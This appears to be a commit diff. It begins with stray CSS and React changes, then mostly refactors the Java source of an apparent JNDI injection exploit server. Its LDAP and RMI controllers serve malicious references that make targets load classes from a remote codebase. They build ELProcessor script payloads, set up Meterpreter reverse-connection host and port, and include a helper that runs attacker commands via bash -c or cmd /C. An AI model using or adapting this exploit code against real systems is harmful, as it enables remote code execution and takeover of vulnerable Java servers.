from { opacity: 1; transform: translateY(0) scale(1); }
|
||||
to { opacity: 0; transform: translateY(-8px) scale(0.98); }
|
||||
}
|
||||
|
||||
.input-icon-wrap {
|
||||
position: relative;
|
||||
}
|
||||
|
||||
.input-icon-wrap .input-icon {
|
||||
position: absolute;
|
||||
left: 12px;
|
||||
top: 50%;
|
||||
transform: translateY(-50%);
|
||||
color: var(--text-muted);
|
||||
pointer-events: none;
|
||||
transition: color var(--transition-fast);
|
||||
}
|
||||
|
||||
.input-icon-wrap input,
|
||||
.input-icon-wrap textarea {
|
||||
padding-left: 38px !important;
|
||||
}
|
||||
|
||||
.input-icon-wrap input:focus + .input-icon,
|
||||
.input-icon-wrap textarea:focus + .input-icon {
|
||||
color: var(--accent);
|
||||
}
|
||||
|
||||
.wiki-btn svg {
|
||||
margin-left: 4px;
|
||||
opacity: 0.6;
|
||||
}
|
||||
|
||||
@media (max-width: 768px) {
|
||||
.page-shell { padding: 48px 16px 32px; }
|
||||
.grid-2 { grid-template-columns: 1fr; }
|
||||
.config-form { grid-template-columns: 1fr; }
|
||||
.config-form .btn { grid-column: span 1; }
|
||||
.login-inner { padding: 36px 28px 32px; }
|
||||
.gadget-layout { flex-direction: column !important; }
|
||||
.gadget-layout > .glass-card { width: 100% !important; }
|
||||
.header { flex-wrap: wrap; gap: 12px; }
|
||||
.header .mode-segment-control { order: 3; width: 100%; }
|
||||
.header-right { order: 2; }
|
||||
.toast { max-width: calc(100vw - 32px); }
|
||||
}
|
||||
|
||||
@media (prefers-reduced-motion: reduce) {
|
||||
*, *::before, *::after {
|
||||
transition-duration: 0ms !important;
|
||||
|
||||
@@ -2,15 +2,18 @@ import React from 'react'
|
||||
import ReactDOM from 'react-dom/client'
|
||||
import { HashRouter } from 'react-router-dom'
|
||||
import { ThemeProvider } from './context/ThemeContext'
|
||||
import { ToastProvider } from './components/Toast'
|
||||
import App from './App'
|
||||
import './index.css'
|
||||
|
||||
ReactDOM.createRoot(document.getElementById('root')).render(
|
||||
<React.StrictMode>
|
||||
<ThemeProvider>
|
||||
<HashRouter>
|
||||
<App />
|
||||
</HashRouter>
|
||||
<ToastProvider>
|
||||
<HashRouter>
|
||||
<App />
|
||||
</HashRouter>
|
||||
</ToastProvider>
|
||||
</ThemeProvider>
|
||||
</React.StrictMode>
|
||||
)
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -2,7 +2,7 @@ package com.qi4l.JYso;
|
||||
|
||||
import com.qi4l.JYso.controllers.rmi.Basic;
|
||||
import com.qi4l.JYso.controllers.rmi.ELProcessor;
|
||||
import com.qi4l.JYso.gadgets.utils.JRMPUtils;
|
||||
import com.qi4l.JYso.gadgets.utils.Utils;
|
||||
import com.qi4l.JYso.gadgets.utils.MarshalOutputStream;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import com.sun.jndi.rmi.registry.ReferenceWrapper;
|
||||
@@ -117,7 +117,7 @@ public class RMIServer implements Runnable {
|
||||
bufIn.mark(4);
|
||||
|
||||
try (DataInputStream in = new DataInputStream(bufIn)) {
|
||||
DataOutputStream out = JRMPUtils.handshake(in, s);
|
||||
DataOutputStream out = Utils.handshake(in, s);
|
||||
if (out == null) {
|
||||
continue;
|
||||
}
|
||||
|
||||
@@ -0,0 +1,125 @@
|
||||
package com.qi4l.JYso.controllers;
|
||||
|
||||
import com.qi4l.JYso.enumtypes.GadgetType;
|
||||
import com.qi4l.JYso.exceptions.IncorrectParamsException;
|
||||
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
|
||||
import com.qi4l.JYso.gadgets.Config.Config;
|
||||
import com.qi4l.JYso.gadgets.utils.Utils;
|
||||
import org.fusesource.jansi.Ansi;
|
||||
|
||||
import java.util.Locale;
|
||||
|
||||
public abstract class BaseLdapController implements LdapController {
|
||||
|
||||
public static String getString(String base, int index) {
|
||||
int cursor = 0;
|
||||
int found = 0;
|
||||
while (cursor < base.length()) {
|
||||
int nextSlash = base.indexOf('/', cursor);
|
||||
if (nextSlash == -1) nextSlash = base.length();
|
||||
|
||||
if (nextSlash > cursor) {
|
||||
if (found == index) {
|
||||
return base.substring(cursor, nextSlash);
|
||||
}
|
||||
found++;
|
||||
}
|
||||
cursor = nextSlash + 1;
|
||||
}
|
||||
return "";
|
||||
}
|
||||
|
||||
static String getStringQ(String base, int index) {
|
||||
return getString(base, index);
|
||||
}
|
||||
|
||||
public static String segment(String base, int index) {
|
||||
return getStringQ(base, index);
|
||||
}
|
||||
|
||||
public static String suffixAfterDash(String value) {
|
||||
int dashIndex = value.indexOf('-');
|
||||
return dashIndex >= 0 ? value.substring(dashIndex + 1) : value;
|
||||
}
|
||||
|
||||
public static GadgetType parseGadgetType(String base) throws UnSupportedPayloadTypeException {
|
||||
String segment = segment(base, 2);
|
||||
if (segment.isEmpty()) return null;
|
||||
|
||||
try {
|
||||
return GadgetType.valueOf(segment.toLowerCase(Locale.ROOT));
|
||||
} catch (IllegalArgumentException ignored) {
|
||||
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + segment);
|
||||
}
|
||||
}
|
||||
|
||||
public static String[] resolveParams(String base, GadgetType gadgetType) throws Exception {
|
||||
if (gadgetType == null) return new String[0];
|
||||
|
||||
switch (gadgetType) {
|
||||
case base64:
|
||||
String cmd = Utils.getCmdFromBase(base);
|
||||
System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd).reset());
|
||||
return new String[]{cmd};
|
||||
case shell:
|
||||
String encoded = Utils.getCmdFromBase(base);
|
||||
String decoded = Utils.base64Decode(encoded);
|
||||
System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + decoded).reset());
|
||||
return decoded.split(" ");
|
||||
case msf:
|
||||
String[] results = Utils.getIPAndPortFromBase(base);
|
||||
Config.rhost = results[0];
|
||||
Config.rport = results[1];
|
||||
System.out.println(" RemoteHost: " + results[0]);
|
||||
System.out.println(" RemotePort: " + results[1]);
|
||||
return results;
|
||||
default:
|
||||
return new String[0];
|
||||
}
|
||||
}
|
||||
|
||||
public static class ParseResult {
|
||||
public final String payloadType;
|
||||
public final GadgetType gadgetType;
|
||||
public final String[] params;
|
||||
|
||||
ParseResult(String payloadType, GadgetType gadgetType, String[] params) {
|
||||
this.payloadType = payloadType;
|
||||
this.gadgetType = gadgetType;
|
||||
this.params = params;
|
||||
}
|
||||
}
|
||||
|
||||
public static ParseResult parseBase(String base, String header) throws UnSupportedPayloadTypeException, IncorrectParamsException {
|
||||
System.out.println(header);
|
||||
try {
|
||||
String normalized = base.replace('\\', '/');
|
||||
String payloadType = segment(normalized, 1);
|
||||
if (payloadType.isEmpty()) {
|
||||
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + normalized);
|
||||
}
|
||||
System.out.println(Ansi.ansi().fgBrightMagenta().a(" Payload: " + payloadType).reset());
|
||||
|
||||
GadgetType gadgetType = parseGadgetType(normalized);
|
||||
String[] params = resolveParams(normalized, gadgetType);
|
||||
return new ParseResult(payloadType, gadgetType, params);
|
||||
} catch (Exception e) {
|
||||
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
|
||||
throw new IncorrectParamsException("Incorrect params: " + base);
|
||||
}
|
||||
}
|
||||
|
||||
public static String getExecCode(String cmd) {
|
||||
return "var str_s=new Array(3);\n"
|
||||
+ "if(java.io.File.separator.equals('/')){\n"
|
||||
+ "str_s[0]='/bin/bash';\n"
|
||||
+ "str_s[1]='-c';\n"
|
||||
+ "str_s[2]='" + cmd + "';\n"
|
||||
+ "}else{\n"
|
||||
+ "str_s[0]='cmd';\n"
|
||||
+ "str_s[1]='/C';\n"
|
||||
+ "str_s[2]='" + cmd + "';\n"
|
||||
+ "}\n"
|
||||
+ "java.lang.Runtime.getRuntime().exec(str_s);";
|
||||
}
|
||||
}
|
||||
@@ -1,12 +1,9 @@
|
||||
package com.qi4l.JYso.controllers;
|
||||
|
||||
import com.qi4l.JYso.enumtypes.GadgetType;
|
||||
import com.qi4l.JYso.exceptions.IncorrectParamsException;
|
||||
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
|
||||
import com.qi4l.JYso.gadgets.Config.Config;
|
||||
import com.qi4l.JYso.gadgets.URLDNS;
|
||||
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||
import com.qi4l.JYso.gadgets.utils.Utils;
|
||||
import com.qi4l.JYso.gadgets.utils.handle.ClassNameHandler;
|
||||
import com.qi4l.JYso.template.Meterpreter;
|
||||
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
|
||||
@@ -17,42 +14,18 @@ import org.apache.logging.log4j.Logger;
|
||||
import org.apache.logging.log4j.LogManager;
|
||||
|
||||
import java.net.URL;
|
||||
import java.nio.charset.StandardCharsets;
|
||||
import java.util.Base64;
|
||||
import java.util.Locale;
|
||||
|
||||
import static org.fusesource.jansi.Ansi.ansi;
|
||||
|
||||
@SuppressWarnings("unused")
|
||||
@LdapMapping(uri = {"/basic"})
|
||||
public class BasicController implements LdapController {
|
||||
public class BasicController extends BaseLdapController {
|
||||
|
||||
private static final Logger log = LogManager.getLogger(BasicController.class);
|
||||
private static String payloadType;
|
||||
// 用于对外提供动态字节码的 HTTP 服务器基础路径。
|
||||
private final String codebase = Config.codeBase;
|
||||
// 存放从 LDAP 路径中解析出的命令或连接参数。
|
||||
private String[] params = new String[0];
|
||||
private GadgetType gadgetType;
|
||||
|
||||
static String getStringQ(String base, int index) {
|
||||
int cursor = 0;
|
||||
int found = 0;
|
||||
while (cursor < base.length()) {
|
||||
int nextSlash = base.indexOf('/', cursor);
|
||||
if (nextSlash == -1) nextSlash = base.length();
|
||||
|
||||
if (nextSlash > cursor) {
|
||||
if (found == index) {
|
||||
return base.substring(cursor, nextSlash);
|
||||
}
|
||||
found++;
|
||||
}
|
||||
cursor = nextSlash + 1;
|
||||
}
|
||||
return "";
|
||||
}
|
||||
|
||||
// 向 LDAP 客户端返回引用指定 payload 类的搜索结果。
|
||||
@Override
|
||||
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
|
||||
try {
|
||||
@@ -67,34 +40,19 @@ public class BasicController implements LdapController {
|
||||
entry.addAttribute("javaFactory", className);
|
||||
result.sendSearchEntry(entry);
|
||||
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
|
||||
} catch (Throwable er) {
|
||||
} catch (Exception er) {
|
||||
System.err.println("Error while generating or serializing payload");
|
||||
log.error(String.valueOf(er));
|
||||
log.error("Error while generating or serializing payload", er);
|
||||
}
|
||||
}
|
||||
|
||||
// 解析请求路径,确定 payload 类型并准备执行时所需的参数。
|
||||
@Override
|
||||
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException {
|
||||
System.out.println("- JNDI Remote Reference Links ");
|
||||
try {
|
||||
String normalized = base.replace('\\', '/');
|
||||
payloadType = segment(normalized, 1);
|
||||
if (payloadType.isEmpty()) {
|
||||
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + normalized);
|
||||
}
|
||||
System.out.println(ansi().fgBrightMagenta().a(" Payload: " + payloadType).reset());
|
||||
|
||||
gadgetType = parseGadgetType(normalized);
|
||||
params = resolveParams(normalized);
|
||||
} catch (Exception e) {
|
||||
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
|
||||
|
||||
throw new IncorrectParamsException("Incorrect params >> " + base);
|
||||
}
|
||||
ParseResult result = parseBase(base, "- JNDI Remote Reference Links ");
|
||||
payloadType = result.payloadType;
|
||||
params = result.params;
|
||||
}
|
||||
|
||||
// 根据 payload 标识返回需要加载的实现类名称。
|
||||
private String resolvePayloadClass() throws Exception {
|
||||
if (payloadType.contains("E-")) {
|
||||
Class<?> echoClass = Class.forName(ClassNameHandler.searchClassByName(suffixAfterDash(payloadType)));
|
||||
@@ -109,7 +67,6 @@ public class BasicController implements LdapController {
|
||||
if (params.length == 0) {
|
||||
throw new IncorrectParamsException("Missing command parameters.");
|
||||
}
|
||||
// 待写
|
||||
}
|
||||
|
||||
if (payloadType.contains("msf")) {
|
||||
@@ -118,56 +75,4 @@ public class BasicController implements LdapController {
|
||||
|
||||
throw new UnSupportedPayloadTypeException("Unsupported payload flag: " + payloadType);
|
||||
}
|
||||
|
||||
// 读取路径中的 gadget 片段并转换为枚举值。
|
||||
private GadgetType parseGadgetType(String base) throws UnSupportedPayloadTypeException {
|
||||
String segment = segment(base, 2);
|
||||
if (segment.isEmpty()) {
|
||||
return null;
|
||||
}
|
||||
try {
|
||||
return GadgetType.valueOf(segment.toLowerCase(Locale.ROOT));
|
||||
} catch (IllegalArgumentException ignored) {
|
||||
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + segment);
|
||||
}
|
||||
}
|
||||
|
||||
// 根据 gadget 类型构建命令行或回连配置参数。
|
||||
private String[] resolveParams(String base) throws Exception {
|
||||
if (gadgetType == null) {
|
||||
return new String[0];
|
||||
}
|
||||
|
||||
switch (gadgetType) {
|
||||
case base64:
|
||||
String cmd = Utils.getCmdFromBase(base);
|
||||
System.out.println(ansi().fgBrightRed().a(" Command: " + cmd).reset());
|
||||
return new String[]{cmd};
|
||||
case shell:
|
||||
String encoded = Utils.getCmdFromBase(base);
|
||||
String decoded = new String(Base64.getDecoder().decode(encoded), StandardCharsets.UTF_8);
|
||||
System.out.println(ansi().fgBrightRed().a(" Command: " + decoded).reset());
|
||||
return decoded.split(" ");
|
||||
case msf:
|
||||
String[] results = Utils.getIPAndPortFromBase(base);
|
||||
Config.rhost = results[0];
|
||||
Config.rport = results[1];
|
||||
System.out.println(" RemoteHost: " + results[0]);
|
||||
System.out.println(" RemotePort: " + results[1]);
|
||||
return results;
|
||||
default:
|
||||
return new String[0];
|
||||
}
|
||||
}
|
||||
|
||||
// 提取路径中第 index 个非空段,保持与原解析逻辑一致。
|
||||
private String segment(String base, int index) {
|
||||
return getStringQ(base, index);
|
||||
}
|
||||
|
||||
// 返回连字符后的子串,用于解析自定义类名。
|
||||
private String suffixAfterDash(String value) {
|
||||
int dashIndex = value.indexOf('-');
|
||||
return dashIndex >= 0 ? value.substring(dashIndex + 1) : value;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,10 +1,7 @@
|
||||
package com.qi4l.JYso.controllers;
|
||||
|
||||
import com.qi4l.JYso.enumtypes.GadgetType;
|
||||
import com.qi4l.JYso.exceptions.IncorrectParamsException;
|
||||
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
|
||||
import com.qi4l.JYso.gadgets.Config.Config;
|
||||
import com.qi4l.JYso.gadgets.URLDNS;
|
||||
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||
import com.qi4l.JYso.gadgets.utils.InjShell;
|
||||
import com.qi4l.JYso.gadgets.utils.Utils;
|
||||
@@ -14,30 +11,23 @@ import com.unboundid.ldap.sdk.Entry;
|
||||
import com.unboundid.ldap.sdk.LDAPResult;
|
||||
import com.unboundid.ldap.sdk.ResultCode;
|
||||
import org.apache.naming.ResourceRef;
|
||||
import org.fusesource.jansi.Ansi;
|
||||
import org.apache.logging.log4j.Logger;
|
||||
import org.apache.logging.log4j.LogManager;
|
||||
|
||||
import javax.naming.StringRefAddr;
|
||||
import java.lang.reflect.Field;
|
||||
import java.util.Locale;
|
||||
|
||||
import static com.qi4l.JYso.controllers.BasicController.getStringQ;
|
||||
|
||||
|
||||
@SuppressWarnings("unused")
|
||||
@LdapMapping(uri = {"/elprocessor"})
|
||||
public class ELProcessorController implements LdapController {
|
||||
private static final String SCRIPT_TEMPLATE = "{\"\".getClass().forName(\"javax.script.ScriptEngineManager\")"
|
||||
public class ELProcessorController extends BaseLdapController {
|
||||
private static final String SCRIPT_TEMPLATE = "{\"\"}.getClass().forName(\"javax.script.ScriptEngineManager\")"
|
||||
+ ".newInstance().getEngineByName(\"JavaScript\")"
|
||||
+ ".eval(\"%s\")}";
|
||||
private static final Logger log = LogManager.getLogger(ELProcessorController.class);
|
||||
|
||||
private String payloadType;
|
||||
// 记录解析请求时提取出的命令参数或回连信息。
|
||||
private String[] params = new String[0];
|
||||
private GadgetType gadgetType;
|
||||
|
||||
// 向 LDAP 客户端返回序列化后的 ELProcessor 引用。
|
||||
@Override
|
||||
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
|
||||
try {
|
||||
@@ -59,34 +49,19 @@ public class ELProcessorController implements LdapController {
|
||||
entry.addAttribute("javaSerializedData", Utils.serialize(ref));
|
||||
result.sendSearchEntry(entry);
|
||||
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
|
||||
} catch (Throwable er) {
|
||||
} catch (Exception er) {
|
||||
System.err.println("Error while generating or serializing payload");
|
||||
log.error(String.valueOf(er));
|
||||
log.error("Error while generating or serializing payload", er);
|
||||
}
|
||||
}
|
||||
|
||||
// 解析请求路径,确定 payload 类型及其所需参数。
|
||||
@Override
|
||||
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException {
|
||||
System.out.println("- JNDI LDAP Local Reference Links + ELProcessor");
|
||||
try {
|
||||
String normalized = base.replace('\\', '/');
|
||||
payloadType = segment(normalized, 1);
|
||||
if (payloadType.isEmpty()) {
|
||||
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + normalized);
|
||||
}
|
||||
System.out.println(Ansi.ansi().fgBrightMagenta().a(" Payload: " + payloadType).reset());
|
||||
|
||||
gadgetType = parseGadgetType(normalized);
|
||||
params = resolveParams(normalized);
|
||||
} catch (Exception e) {
|
||||
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
|
||||
|
||||
throw new IncorrectParamsException("Incorrect params: " + base);
|
||||
}
|
||||
ParseResult result = parseBase(base, "- JNDI LDAP Local Reference Links + ELProcessor");
|
||||
payloadType = result.payloadType;
|
||||
params = result.params;
|
||||
}
|
||||
|
||||
// 构造注入到 ELProcessor 中的 JavaScript 代码。
|
||||
private String buildPayloadScript() throws Exception {
|
||||
TomcatBypassHelper helper = new TomcatBypassHelper();
|
||||
String scriptBody;
|
||||
@@ -107,56 +82,6 @@ public class ELProcessorController implements LdapController {
|
||||
return SCRIPT_TEMPLATE.replace("%s", scriptBody.replace("\"", "\\\""));
|
||||
}
|
||||
|
||||
// 解析路径中的 gadget 片段并转换为枚举。
|
||||
private GadgetType parseGadgetType(String base) throws UnSupportedPayloadTypeException {
|
||||
String segment = segment(base, 2);
|
||||
if (segment.isEmpty()) return null;
|
||||
|
||||
try {
|
||||
return GadgetType.valueOf(segment.toLowerCase(Locale.ROOT));
|
||||
} catch (IllegalArgumentException ignored) {
|
||||
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + segment);
|
||||
}
|
||||
}
|
||||
|
||||
// 根据不同 gadget 类型构建命令参数或回连配置。
|
||||
private String[] resolveParams(String base) throws Exception {
|
||||
if (gadgetType == null) return new String[0];
|
||||
|
||||
switch (gadgetType) {
|
||||
case base64:
|
||||
String cmd = Utils.getCmdFromBase(base);
|
||||
System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd).reset());
|
||||
return new String[]{cmd};
|
||||
case shell:
|
||||
String encoded = Utils.getCmdFromBase(base);
|
||||
String decoded = Utils.base64Decode(encoded);
|
||||
System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + decoded).reset());
|
||||
return decoded.split(" ");
|
||||
case msf:
|
||||
String[] results = Utils.getIPAndPortFromBase(base);
|
||||
Config.rhost = results[0];
|
||||
Config.rport = results[1];
|
||||
System.out.println("[+] RemoteHost: " + results[0]);
|
||||
System.out.println("[+] RemotePort: " + results[1]);
|
||||
return results;
|
||||
default:
|
||||
return new String[0];
|
||||
}
|
||||
}
|
||||
|
||||
// 提取路径中的第 index 个非空段,保持与原有解析方式一致。
|
||||
private String segment(String base, int index) {
|
||||
return getStringQ(base, index);
|
||||
}
|
||||
|
||||
// 返回连字符后的子串,用于解析自定义类名。
|
||||
private String suffixAfterDash(String value) {
|
||||
int dashIndex = value.indexOf('-');
|
||||
return dashIndex >= 0 ? value.substring(dashIndex + 1) : value;
|
||||
}
|
||||
|
||||
// 封装 Tomcat 环境下 ELProcessor 的注入辅助逻辑,保持主控制器简洁。
|
||||
private class TomcatBypassHelper {
|
||||
String injectInterpreter() throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
|
||||
Class<?> clazz = Class.forName("com.qi4l.JYso.template.com.qi4l.JYso.template.Meterpreter");
|
||||
@@ -171,17 +96,7 @@ public class ELProcessorController implements LdapController {
|
||||
}
|
||||
|
||||
String getExecCode(String cmd) {
|
||||
return "var str_s=new Array(3);\n"
|
||||
+ " if(java.io.File.separator.equals('/')){\n"
|
||||
+ " str_s[0]='/bin/bash';\n"
|
||||
+ " str_s[1]='-c';\n"
|
||||
+ " str_s[2]='" + cmd + "';\n"
|
||||
+ " }else{\n"
|
||||
+ " str_s[0]='cmd';\n"
|
||||
+ " str_s[1]='/C';\n"
|
||||
+ " str_s[2]='" + cmd + "';\n"
|
||||
+ " }\n"
|
||||
+ " java.lang.Runtime.getRuntime().exec(str_s);";
|
||||
return BaseLdapController.getExecCode(cmd);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -24,6 +24,7 @@ import javax.naming.StringRefAddr;
|
||||
* - https://stackoverflow.com/questions/4689240/detecting-the-platform-window-or-linux-by-groovy-grails
|
||||
*/
|
||||
|
||||
@SuppressWarnings("unused")
|
||||
@LdapMapping(uri = {"/groovy"})
|
||||
public class GroovyController implements LdapController {
|
||||
private String[] params;
|
||||
|
||||
@@ -15,6 +15,7 @@ import org.fusesource.jansi.Ansi;
|
||||
|
||||
import javax.naming.StringRefAddr;
|
||||
|
||||
@SuppressWarnings("unused")
|
||||
@LdapMapping(uri = {"/memoryxxe"})
|
||||
public class MemoryXXEController implements LdapController {
|
||||
private String[] params;
|
||||
|
||||
@@ -21,6 +21,7 @@ import java.util.Base64;
|
||||
|
||||
import static com.qi4l.JYso.gadgets.Config.Config.BCEL1;
|
||||
|
||||
@SuppressWarnings("unused")
|
||||
@LdapMapping(uri = {"/deserialization"})
|
||||
public class SerializedDataController implements LdapController {
|
||||
private static final Logger log = LogManager.getLogger(SerializedDataController.class);
|
||||
|
||||
@@ -15,6 +15,7 @@ import org.fusesource.jansi.Ansi;
|
||||
|
||||
import javax.naming.StringRefAddr;
|
||||
|
||||
@SuppressWarnings("unused")
|
||||
@LdapMapping(uri = {"/snakeyaml"})
|
||||
public class SnakeYamlController implements LdapController {
|
||||
private String[] params;
|
||||
|
||||
@@ -14,6 +14,7 @@ import org.fusesource.jansi.Ansi;
|
||||
|
||||
import javax.naming.StringRefAddr;
|
||||
|
||||
@SuppressWarnings("unused")
|
||||
@LdapMapping(uri = {"/xstream"})
|
||||
public class XStreamController implements LdapController {
|
||||
private String[] params;
|
||||
|
||||
@@ -12,46 +12,34 @@ import org.fusesource.jansi.Ansi;
|
||||
import org.apache.logging.log4j.Logger;
|
||||
import org.apache.logging.log4j.LogManager;
|
||||
|
||||
@SuppressWarnings("unused")
|
||||
@LdapMapping(uri = {"/jdbc1"})
|
||||
public class jdbcController1 implements LdapController {
|
||||
public class jdbcController1 extends BaseLdapController {
|
||||
|
||||
private static final Logger log = LogManager.getLogger(jdbcController1.class);
|
||||
private static String driverq;
|
||||
|
||||
private static String factoryType;
|
||||
private static String[] params;
|
||||
private static GadgetType gadgetType;
|
||||
|
||||
public static void printResultJDBC1(String base) throws Exception {
|
||||
base = base.replace('\\', '/');
|
||||
int fistIndex = base.indexOf("/");
|
||||
int secondIndex = base.indexOf("/", fistIndex + 1);
|
||||
if (secondIndex < 0) secondIndex = base.length();
|
||||
|
||||
try {
|
||||
driverq = base.substring(fistIndex + 1, secondIndex);
|
||||
System.out.println(Ansi.ansi().fgBrightMagenta().a(" driver: " + driverq).reset());
|
||||
} catch (IllegalArgumentException e) {
|
||||
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex));
|
||||
driverq = segment(base, 1);
|
||||
if (driverq.isEmpty()) {
|
||||
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base);
|
||||
}
|
||||
System.out.println(Ansi.ansi().fgBrightMagenta().a(" driver: " + driverq).reset());
|
||||
|
||||
int thirdIndex = base.indexOf("/", secondIndex + 1);
|
||||
if (thirdIndex < 0) thirdIndex = base.length();
|
||||
factoryType = segment(base, 2);
|
||||
System.out.println(Ansi.ansi().fgBrightBlue().a(" Factory: " + factoryType).reset());
|
||||
|
||||
try {
|
||||
factoryType = base.substring(secondIndex + 1, thirdIndex);
|
||||
System.out.println(Ansi.ansi().fgBrightBlue().a(" Factory: " + factoryType).reset());
|
||||
} catch (IllegalArgumentException e) {
|
||||
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex));
|
||||
}
|
||||
|
||||
int fourthIndex = base.indexOf("/", thirdIndex + 1);
|
||||
|
||||
if (fourthIndex != -1) {
|
||||
String gadgetStr = segment(base, 3);
|
||||
if (!gadgetStr.isEmpty()) {
|
||||
try {
|
||||
gadgetType = GadgetType.valueOf(base.substring(thirdIndex + 1, fourthIndex).toLowerCase());
|
||||
gadgetType = GadgetType.valueOf(gadgetStr.toLowerCase());
|
||||
} catch (IllegalArgumentException e) {
|
||||
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(thirdIndex + 1, fourthIndex));
|
||||
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + gadgetStr);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -76,9 +64,9 @@ public class jdbcController1 implements LdapController {
|
||||
|
||||
result.sendSearchEntry(e);
|
||||
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
|
||||
} catch (Throwable er) {
|
||||
} catch (Exception er) {
|
||||
System.err.println("Error while generating or serializing payload");
|
||||
log.error(String.valueOf(er));
|
||||
log.error("Error while generating or serializing payload", er);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -17,6 +17,7 @@ import javax.naming.Reference;
|
||||
import javax.naming.StringRefAddr;
|
||||
import java.util.Enumeration;
|
||||
|
||||
@SuppressWarnings("unused")
|
||||
@LdapMapping(uri = {"/jdbc2"})
|
||||
public class jdbcController2 implements LdapController {
|
||||
|
||||
|
||||
@@ -11,6 +11,7 @@ import com.unboundid.ldap.sdk.LDAPResult;
|
||||
import com.unboundid.ldap.sdk.ResultCode;
|
||||
import org.fusesource.jansi.Ansi;
|
||||
|
||||
@SuppressWarnings("unused")
|
||||
@LdapMapping(uri = {"/ldap2rmi"})
|
||||
public class ldap2rmiController implements LdapController {
|
||||
|
||||
|
||||
@@ -1,30 +1,25 @@
|
||||
package com.qi4l.JYso.controllers.rmi;
|
||||
|
||||
import com.qi4l.JYso.enumtypes.GadgetType;
|
||||
import com.qi4l.JYso.controllers.BaseLdapController.ParseResult;
|
||||
import com.qi4l.JYso.exceptions.IncorrectParamsException;
|
||||
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
|
||||
import com.qi4l.JYso.gadgets.Config.Config;
|
||||
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||
import com.qi4l.JYso.gadgets.utils.Utils;
|
||||
import com.qi4l.JYso.gadgets.utils.handle.ClassNameHandler;
|
||||
import com.qi4l.JYso.template.Meterpreter;
|
||||
import org.fusesource.jansi.Ansi;
|
||||
|
||||
import javax.naming.Reference;
|
||||
import java.net.URL;
|
||||
import java.util.Locale;
|
||||
|
||||
/**
|
||||
* Build remote-loading Reference for RMI lookup path:
|
||||
* basic/{payload}/{gadget}/{arg}
|
||||
*/
|
||||
import static com.qi4l.JYso.controllers.BaseLdapController.*;
|
||||
|
||||
public class Basic {
|
||||
private static String payloadType;
|
||||
private static String[] params = new String[0];
|
||||
private static GadgetType gadgetType;
|
||||
|
||||
public static Reference basic(String base) throws Exception {
|
||||
parse(base);
|
||||
ParseResult result = parseBase(base, "- JNDI RMI Remote Reference Links ");
|
||||
String payloadType = result.payloadType;
|
||||
String[] params = result.params;
|
||||
|
||||
String className;
|
||||
if (payloadType.contains("E-")) {
|
||||
@@ -49,87 +44,4 @@ public class Basic {
|
||||
|
||||
return new Reference("Foo", className, Config.codeBase);
|
||||
}
|
||||
|
||||
private static void parse(String base) {
|
||||
System.out.println("- JNDI RMI Remote Reference Links ");
|
||||
try {
|
||||
String normalized = base.replace('\\', '/');
|
||||
payloadType = segment(normalized, 1);
|
||||
if (payloadType.isEmpty()) {
|
||||
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + normalized);
|
||||
}
|
||||
System.out.println(Ansi.ansi().fgBrightMagenta().a(" Payload: " + payloadType).reset());
|
||||
|
||||
gadgetType = parseGadgetType(normalized);
|
||||
params = resolveParams(normalized);
|
||||
} catch (Exception e) {
|
||||
if (e instanceof UnSupportedPayloadTypeException) {
|
||||
throw (UnSupportedPayloadTypeException) e;
|
||||
}
|
||||
throw new IncorrectParamsException("Incorrect params >> " + base);
|
||||
}
|
||||
}
|
||||
|
||||
private static GadgetType parseGadgetType(String base) throws UnSupportedPayloadTypeException {
|
||||
String segment = segment(base, 2);
|
||||
if (segment.isEmpty()) {
|
||||
return null;
|
||||
}
|
||||
try {
|
||||
return GadgetType.valueOf(segment.toLowerCase(Locale.ROOT));
|
||||
} catch (IllegalArgumentException ignored) {
|
||||
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + segment);
|
||||
}
|
||||
}
|
||||
|
||||
private static String[] resolveParams(String base) throws Exception {
|
||||
if (gadgetType == null) {
|
||||
return new String[0];
|
||||
}
|
||||
|
||||
switch (gadgetType) {
|
||||
case base64:
|
||||
String cmd = Utils.getCmdFromBase(base);
|
||||
